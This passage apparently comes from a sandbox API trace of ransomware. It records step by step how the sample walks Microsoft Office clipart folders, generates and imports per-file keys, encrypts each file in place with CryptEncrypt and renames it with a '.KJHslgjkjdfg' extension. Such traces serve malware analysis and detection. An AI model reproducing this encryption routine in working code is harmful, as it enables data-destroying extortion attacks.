lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.280] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.280] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.280] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.280] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2870, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2870, lpOverlapped=0x0) returned 1 [0203.281] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2870, dwBufLen=0x2870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2870) returned 1 [0203.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.281] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2870, lpOverlapped=0x0) returned 1 [0203.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.282] SetEndOfFile (hFile=0x130) returned 1 [0203.284] GetProcessHeap () returned 0x2ef0000 [0203.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.284] GetProcessHeap () returned 0x2ef0000 [0203.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.kjhslgjkjdfg")) returned 1 [0203.285] CloseHandle (hObject=0x130) returned 1 [0203.286] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0203.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.287] GetProcessHeap () returned 0x2ef0000 [0203.287] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.287] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.287] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.289] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.289] GetProcessHeap () returned 0x2ef0000 [0203.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.289] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.289] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.290] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.290] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d4c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d4c, lpOverlapped=0x0) returned 1 [0203.290] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d50) returned 1 [0203.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.291] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d50, lpOverlapped=0x0) returned 1 [0203.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.291] SetEndOfFile (hFile=0x130) returned 1 [0203.293] GetProcessHeap () returned 0x2ef0000 [0203.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.293] GetProcessHeap () returned 0x2ef0000 [0203.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.kjhslgjkjdfg")) returned 1 [0203.294] CloseHandle (hObject=0x130) returned 1 [0203.295] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0203.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.295] GetProcessHeap () returned 0x2ef0000 [0203.295] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.295] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.295] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.296] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.296] GetProcessHeap () returned 0x2ef0000 [0203.296] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.296] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.296] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.296] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.297] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.297] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.297] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.297] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.297] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.297] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.297] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3040, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3040, lpOverlapped=0x0) returned 1 [0203.298] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3040, dwBufLen=0x3040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3040) returned 1 [0203.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.299] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3040, lpOverlapped=0x0) returned 1 [0203.299] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.299] SetEndOfFile (hFile=0x130) returned 1 [0203.301] GetProcessHeap () returned 0x2ef0000 [0203.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.301] GetProcessHeap () returned 0x2ef0000 [0203.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.kjhslgjkjdfg")) returned 1 [0203.302] CloseHandle (hObject=0x130) returned 1 [0203.302] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0203.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.303] GetProcessHeap () returned 0x2ef0000 [0203.303] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.303] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.303] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.303] GetProcessHeap () returned 0x2ef0000 [0203.303] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.303] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.305] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.306] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.306] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.306] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.306] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2480, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2480, lpOverlapped=0x0) returned 1 [0203.307] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2480, dwBufLen=0x2480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2480) returned 1 [0203.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.307] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2480, lpOverlapped=0x0) returned 1 [0203.308] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.308] SetEndOfFile (hFile=0x130) returned 1 [0203.310] GetProcessHeap () returned 0x2ef0000 [0203.310] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.310] GetProcessHeap () returned 0x2ef0000 [0203.310] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.kjhslgjkjdfg")) returned 1 [0203.312] CloseHandle (hObject=0x130) returned 1 [0203.312] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0203.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.314] GetProcessHeap () returned 0x2ef0000 [0203.314] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.314] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.314] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0203.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.317] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.317] GetProcessHeap () returned 0x2ef0000 [0203.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.317] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.317] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.317] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.318] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.318] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.318] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3fe2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 